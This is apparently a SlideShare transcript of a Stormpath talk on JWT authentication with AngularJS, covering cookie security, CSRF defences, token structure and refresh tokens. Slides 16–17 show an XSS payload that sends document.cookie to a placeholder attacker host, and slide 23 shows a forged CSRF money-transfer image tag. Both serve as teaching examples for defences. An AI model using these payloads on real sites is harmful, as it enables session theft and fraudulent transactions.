Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

JWT Authentication with AngularJS

7,951 views

Published on

How to use JWT Authentication with Angular JS, or any other front-end framework.

Published in: Engineering

JWT Authentication with AngularJS

  1. 1. JWT Authentication with AngularJS (or any other front-end framework) Robert Damphousse @robertjd_ Lead Front-End Developer, Stormpath
  2. 2. About Me • Full-stack developer 10 years • Full-stack with JavaScript since 2011 (Node.js + Angular) • Currently leading JavaScript at Stormpath
  3. 3. About Stormpath • Cloud-based User Identity API for Developers • Authentication and Authorization as-as-service • RESTful API • Active Directory, LDAP, and SAML Integration • Private Deployments (AWS) • Free plan for developers
  4. 4. Slideshare URL: http://goo.gl/AWaE5D
  5. 5. Talk Overview • Recap: Session Identifiers • Cookies, The Right Way ® • Introduction to JWT • Access Tokens & Refresh Tokens • Storing JWTs in the Browser • Angular specifics
  6. 6. Recap: Session Identifiers
  7. 7. Verify username & password Create a session ID, link to user Stores session ID in a cookie Recap: Session Identifiers
  8. 8. Session ID Concerns • They’re opaque and have no meaning (they’re just pointers). • Database heavy: session ID lookup on *every request*. • Cookies need to be secured to prevent session hijacking.
  9. 9. Cookies, The Right Way ®
  10. 10. Cookies, The Right Way ® Cookies can be easily compromised • Man-in-the-Middle (MITM) • Cross-Site Scripting (XSS) • Cross-Site Request Forgery (CSRF)
  11. 11. Man In The Middle (MITM) Attack Someone ‘listening on the wire’ between the browser and server can steal the cookie. Solutions • Use HTTPS/TLS everywhere a cookie will be in transit. • Set Secure flag on cookies.
  12. 12. Cross-Site Scripting (XSS)
  13. 13. XSS Attacks This is a very REAL problem Happens when attacker code is run inside a browser, on your domain. Can be used to steal your cookies!
  14. 14. XSS Attack Demo Source: https://www.google.com/about/appsecurity/learning/xss/#StoredXSS
  15. 15. XSS Attack Demo
  16. 16. XSS Attack Demo <img src=x onerror="document.body.appendChild(function (){var a = document.createElement('img'); a.src='https://hackmeplz.com/yourCookies.pn g/?cookies=’ +document.cookie;return a}())" So what if I put this in the chatbox..
  17. 17. XSS Attack Demo GET https://hackmeplz.com/yourCookies.png/?cook ies=SessionID=123412341234 Your browser is going to make this request: Which means..
  18. 18. XSS Attack – What Can I Do? Escape Content • Server-side: Use well-known, trusted libraries to ensure dynamic HTML does not contain executable code. Do NOT roll your own. • Client Side: Escape user input from forms (some frameworks do this for you, but read the docs for caveats!)
  19. 19. XSS Attack – What Can I Do? Use HTTPS-Only cookies Set the HttpOnly flag on your authentication cookies. HttpOnly cookies are NOT accessible by the JavaScript environment
  20. 20. XSS Attack – What Can I Do? XSS Resources: https://www.owasp.org/index.php/XSS https://www.google.com/about/appsecurity/lear ning/xss/
  21. 21. Cross-Site Request Forgery (CSRF)
  22. 22. Cross-Site Request Forgery (CSRF) Exploits the fact that HTML tags do NOT follow the Same Origin Policy when making GET requests
  23. 23. Cross-Site Request Forgery (CSRF) Example: Attacker puts malicious image into a web page that the user visits: <img src=“https://trustyapp.com/transferMo ney?to=BadGuy&amount=10000”/> .. what happens?
  24. 24. Cross-Site Request Forgery (CSRF) • Browser sends cookies for trustyapp.com • Server trusts cookies AND assumes this was an intended user action • transfers the money!
  25. 25. Cross-Site Request Forgery (CSRF) The Solutions: • Synchronizer Token (for form-based apps) • Double-Submit Cookie (for modern apps)
  26. 26. Double Submit Cookie • Give client two cookies: (1) Session ID and (2) a strong random value • Client sends back the random value in a custom HTTP header, triggering the Same- Origin-Policy
  27. 27. http://myapp.com/login Login Username Password yo@foo.com ••••••••••••••• Login WWW Server (1) POST /login (2) 200 OK Set-Cookie: session=dh7jWkx8fj; Set-Cookie: xsrf-token=xjk2kzjn4; http://myapp.com/profile Kitsch mustache seitan, meggings Portland VHS ethical ugh. Messenger bag pour-over deep v semiotics, Portland before they sold out small batch slow-carb PBR PBR&B chia synth vegan bitters Brooklyn. (3) GET /profile (4) 200 OK Cookie: session=dh7jWkx8fj; xsrf-token=xjk2kzjn4 X-XSRF-Token: xjk2kzjn4; Hello, Yo Cookie == Header ?
  28. 28. WWW Server http://hackerzapp.com/ req.setHeader(‘X-XSRF- Token’,’stolen token’) BROWSER ERROR No 'Access-Control-Allow- XSRF-Token’ header is present on the requested resource. GET http://myapp.com/profile http://hackerzapp.com/ <img src=“https:// yoursite.com/ transferMoney? to=BadGuy&amount=10000”/> (1) GET /transferMoney? (2) 400 Invalid Token Server rejects forged requests, CSRF token header is missing Browser rejects forged cross-domain AJAX attempts Cookie: session=dh7jWkx8fj; xsrf-token=xjk2kzjn4 Cookie == Header ?
  29. 29. Cross-Site Request Forgery (CSRF) CSRF Resources: https://www.owasp.org/index.php/Cross- Site_Request_Forgery_(CSRF) https://developer.mozilla.org/en- US/docs/Web/Security/Same-origin_policy
  30. 30. An Introduction to JSON Web Tokens (JWTs)
  31. 31. Definitions Authentication is proving who you are. Authorization is being granted access to resources. Tokens are used to persist authentication and get authorization. JWT is a token format.
  32. 32. JSON Web Tokens (JWT) In the wild they look like just another ugly string: eyJ0eXAiOiJKV1QiLA0KICJhbGciOiJIUzI1NiJ9.eyJ pc3MiOiJqb2UiLA0KICJleHAiOjEzMDA4MTkzODAsDQo gImh0dHA6Ly9leGFtcGxlLmNvbS9pc19yb290Ijp0cnV lfQ.dBjftJeZ4CVPmB92K27uhbUJU1p1r_wW1gFWFOEj Xk
  33. 33. JSON Web Tokens (JWT) But they do have a three part structure. Each part is a Base64-URL encoded string: eyJ0eXAiOiJKV1QiLA0KICJhb GciOiJIUzI1NiJ9 . eyJpc3MiOiJqb2UiLA0KICJle HAiOjEzMDA4MTkzODAsDQogIm h0dHA6Ly9leGFtcGxlLmNvbS9 pc19yb290Ijp0cnVlfQ . dBjftJeZ4CVPmB92K27uhbUJU 1p1r_wW1gFWFOEjXk Header Body (‘Claims’) Cryptographic Signature
  34. 34. JSON Web Tokens (JWT) Base64-decode the parts to see the contents: { "typ":"JWT", "alg":"HS256" } { "iss”:”http://trustyapp.com/”, "exp": 1300819380, “sub”: ”users/8983462”, “scope”: “self api/buy” } tß´—™à%O˜v+nî…SZu¯µ€U…8H× Header Body (‘Claims’) Cryptographic Signature
  35. 35. JSON Web Tokens (JWT) The claims body is the best part! It asserts: { "iss": "http://trustyapp.com/", "exp": 1300819380, "sub": "users/8983462", "scope": "self api/buy" } Who issued the token When it expires Who it represents What they can do
  36. 36. Issuing & Verifying JWTs
  37. 37. Issuing JWTs • User has to present credentials to get a token (password, api keys). • Tokens are issued by your server, and signed with a secret key that is private. • The client stores the tokens, and uses them to authenticate requests.
  38. 38. Verifying JWTs • Just check the signature and expiration time! Stateless authentication! • Token declares scope, make authorization decisions locally. • But.. How to revoke stateless authentication?
  39. 39. OAuth2 + JWT Access & Refresh Tokens
  40. 40. Access & Refresh Tokens • Client is given an access and refresh token. • Access token expires before refresh token. • Refresh token is used to get more access tokens. • Access tokens are trusted by signature. • Refresh tokens are checked for revocation.
  41. 41. Whut?? Gives you time-based control over this tradeoff: stateless trust vs. database lookup.
  42. 42. Examples • Super-secure banking application (want to force user out often): • Access token TTL = 1 minutes • Refresh token TTL = 30 minutes • Mobile/social app (user should “always be logged in”) • Access token TTL = 1 hour • Refresh token TTL = 4 years (lifetime of mobile device)
  43. 43. Storing & Transmitting JWTs (in the browser)
  44. 44. Tradeoffs & Concerns • Local Storage is not secure (XSS vulnerable). • Cookies ARE secure, with HttpOnly, Secure flags, and CSRF prevention. • Using the Authorization header is fun but not really necessary. • Cross-domain requests are always hell.
  45. 45. Secure & Painless Tradeoffs (IMO, YMMV) • Use cookies with HttpOnly, Secure flags. • CSRF protection is easy to get right, XSS is easy to get wrong. • Don’t use the Authorization header • Not really needed. • Avoid cross-domain where possible • CORS is straightforward, but why have pain?
  46. 46. Authentication Logic, Using Cookies • Is there an access token cookie? Is it valid? (signature & expiration)? • Yes? Allow the request. • No? Try to get a new access token, using the refresh token. • Did that work? • Yes? Allow the request, send new access token on response as cookie. • No? Reject the request, delete refresh token cookie.
  47. 47. So… AngularJS?
  48. 48. JWT with AngularJS • How do I know if the user is logged in? • How do I know if the user can access a view? • How do I know if access has been revoked?
  49. 49. Is the user logged in? • Cookies can’t tell you this, if using HttpOnly. • Argument FOR putting token in local storage, so JS can inspect. Worth the XSS tradeoff?
  50. 50. Is the user logged in? • Request a /me route, which requires token authentication. • This route returns the user object. • Use a promise to return this object.
  51. 51. angular.module('myapp') .config(function($stateProvider) { $stateProvider .state('home', { url: '/', templateUrl: 'views/home.html', resolve: { user: function($auth) { return $auth.getUser(); } } }); }); UI Router Example
  52. 52. Is the user logged in? • UI Router: use $stateChangeError to handle failed user promise, direct to login view. • ngRoute: $routeChangeError
  53. 53. Is the user logged in? • Maintain $rootScope.user • null = we don’t know yet • false = not logged in • {} = we have the user’s data • Broadcast $authenticated event when user is known.
  54. 54. Can the user access this view? • Another argument for local token storage and inspection. But, XSS! • Otherwise, fetch scope from /me route.
  55. 55. $stateProvider .state('home', { url: '/', templateUrl: 'views/home.html', resolve: { user: function($auth) { return $auth.getUser() .then(function(user){ // can access resource? // return true/false }) } } }); UI Router Example
  56. 56. Has Access Been Revoked? • If you see a 401 from your API service, broadcast an $unauthenticated event. • Redirect to login view.
  57. 57. Fin
  58. 58. Recap • JWTs help with authentication and authorization architecture. • The are NOT a “security” add-on. • They’re a more magical session ID. • Store JWTs securely!
  59. 59. Thanks!
  60. 60. Use Stormpath for API Authentication & Security Our API and libraries give you a cloud-based user database and web application security in no time! Get started with your free Stormpath developer account: https://api.stormpath.com/register Questions? support@stormpath.com

×